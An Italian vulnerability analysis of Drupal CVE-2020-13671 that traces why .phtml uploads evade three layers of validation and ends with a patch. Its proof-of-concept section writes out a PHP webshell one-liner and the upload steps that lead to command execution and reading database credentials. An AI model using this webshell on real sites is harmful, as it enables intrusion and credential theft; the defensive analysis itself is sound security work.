
CVE-2020-13671 - Analisi della vulnerabilità di RCE in Drupal tramite caricamento di file e PoC
Software: Drupal Core 8.7.5 (Versioni interessate: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alto)
CWE: CWE-434 — Caricamento senza restrizioni di file con tipo pericoloso
CISA KEV: Sì — Vulnerabilità nota sfruttata
Advisory: SA-CORE-2020-012
Drupal è un sistema di gestione dei contenuti (CMS) open-source scritto in PHP, simile a WordPress o Joomla ma orientato alla realizzazione di sistemi più complessi — siti web enterprise, piattaforme multilingua. Drupal utilizza un'architettura modulare, che consente di estendere le funzionalità abilitando/disabilitando i moduli disponibili o installandone altri dalla community.
Una delle funzioni di base di qualsiasi CMS è consentire agli utenti di caricare file — avatar del profilo, documenti allegati, allegati negli articoli. Drupal salva questi file nella directory sites/default/files/ e li serve direttamente tramite il web server (Apache o Nginx).
⇒ Questo crea una chiara superficie d'attacco: se un attaccante riesce a caricare un file PHP in quella directory, il web server lo eseguirà quando viene acceduto tramite una richiesta in ingresso.
Per prevenire questo, Drupal costruisce più livelli di difesa: validazione delle estensioni dei file, rinomina dei file pericolosi, posizionamento di .htaccess per bloccare l'esecuzione di script nella directory di upload. Ma nella versione 8.7.5, gli attaccanti sfruttano esattamente il punto cieco tra questi livelli.
Questa vulnerabilità richiede un account con permessi di caricamento file. Per impostazione predefinita in Drupal 8.7.5, gli utenti normali (Autenticati) hanno solo il permesso di visualizzare i contenuti e pubblicare commenti — nessun permesso di creare articoli o caricare file.
| Account | Sfruttabile? | Spiegazione |
|---|---|---|
| Amministratore | Sì | Permessi di upload completi |
| Editor / Creatore di contenuti | Sì | Se gli viene concesso il permesso "Crea contenuto" con upload da parte dell'amministratore |
| Utente autenticato (predefinito) | No | Per impostazione predefinita non ha il permesso di creare contenuti o caricare file |
| Anonimo (non autenticato) | No | Nessun permesso di upload |
Tuttavia, in pratica, molti siti Drupal concedono agli utenti normali i permessi di creazione contenuti (forum, blog della community, siti di notizie che consentono l'invio di articoli). In questi casi, un attaccante deve solo registrare un account per sfruttarla.
Flusso dell'attacco:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
Nel file core/modules/file/file.module, c'è una singola regex che determina quali file sono considerati eseguibili:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Questa regex elenca 7 estensioni: phar, php, pl, py, cgi, asp, js. Qualsiasi file con un'estensione che corrisponde a questa lista verrà automaticamente rinominato con l'aggiunta di .txt da Drupal — neutralizzando la capacità di esecuzione.
Tuttavia, il motore PHP non elabora solo i file .php. A seconda della configurazione del web server, riconosce ed esegue anche altre estensioni:
| Estensione | Significato | Inclusa nella regex? |
|---|---|---|
.php | PHP standard | Sì |
.phtml | Template alternativo PHP | No |
.php5 | Handler PHP 5 | No |
.pht | Template PHP | No |
.phps | Sorgente PHP | No |
.shtml | Inclusioni lato server | No |
5 varianti di estensione PHP sono completamente assenti dalla regex. Ciò significa che un file chiamato shell.phtml inviato a Drupal → la regex non trova corrispondenza → non viene rinominato → viene salvato con il suo nome originale nella directory di upload → il web server vede .phtml → lo esegue come PHP → l'attaccante ottiene RCE. Questa è la causa principale: Drupal utilizzava una blacklist per bloccare le estensioni pericolose, ma quella lista era incompleta.
Quando un utente carica un file, Drupal lo fa passare attraverso 3 funzioni di validazione prima di salvarlo. Di seguito un'analisi del motivo per cui tutte e 3 falliscono con .phtml.
file_munge_filename() (core/includes/file.inc)Scopo: rilevare le estensioni pericolose posizionate al centro del nome del file e aggiungere _ per neutralizzarle. Ecco come funziona la funzione:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Ad esempio con shell.phtml:
explode divide in ["shell", "phtml"]shift prende "shell", lasciando ["phtml"]pop prende "phtml", lasciando []foreach non viene eseguito"shell.phtml" intattoTuttavia, se il file ha una sola estensione, la funzione non interviene. Quindi, questa funzione è progettata solo per gestire file con più estensioni.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Questo è il livello di difesa principale. Codice alla riga 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Se il nome del file corrisponde alla regex → cambia il MIME in text/plain e aggiunge .txt alla fine.
Con shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') restituisce 0Quindi, questa sezione avrebbe dovuto bloccare i file pericolosi, ma poiché la regex non sa che .phtml è pericoloso, la aggira senza problemi.
.htaccess nella directory di uploadDrupal posiziona un file .htaccess in sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
La direttiva php_flag engine off spegne il motore PHP per l'intera directory, ma si applica solo a mod_php5. Drupal 8.7.5 gira su PHP 7, il che significa che mod_php7 è attivo e non disabilitato.
E .htaccess ha anche altre 3 debolezze:
.htaccess — questo file è completamente inefficace su NginxAllowOverride None → .htaccess viene ignoratomod_php → la direttiva php_flag non ha effettoecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Accedi a Drupal con un account che ha i permessi di upload → Contenuti → Aggiungi contenuto → Articolo → nel campo Immagine, seleziona il file webshell.phtml → Carica.
Drupal accetta il file, non lo rinomina e lo salva con il suo nome originale in sites/default/files/.

Dopodiché, esegui la chiamata shell con whoami:

Così, abbiamo ottenuto con successo RCE come www-data.
Proseguendo i test per visualizzare le credenziali:

L'attaccante può leggere settings.php contenente le credenziali del database, eseguire il dump dell'intero DB, installare una reverse shell o elevare i privilegi a root.
Aggiornare la regex — aggiungi le 5 estensioni mancanti:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Aggiornare .htaccess — aggiungi la disabilitazione per mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
La patch funziona ma si basa ancora su una blacklist. Se in futuro emergeranno nuove estensioni (.php8, .phpt), la regex dovrà essere aggiornata di nuovo. La whitelist — consentire solo estensioni note e sicure — sarebbe un approccio più completo.
| File vulnerabile | core/modules/file/file.module riga 28 |
|---|---|
| Causa principale | La blacklist della regex non include .phtml, .php5, .pht, .phps, .shtml |
| Impatto | Caricamento di .phtml → il server esegue → RCE |
| 3 livelli di difesa aggirati | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Patch | Aggiungere 5 estensioni alla regex + disabilitare mod_php7 in .htaccess |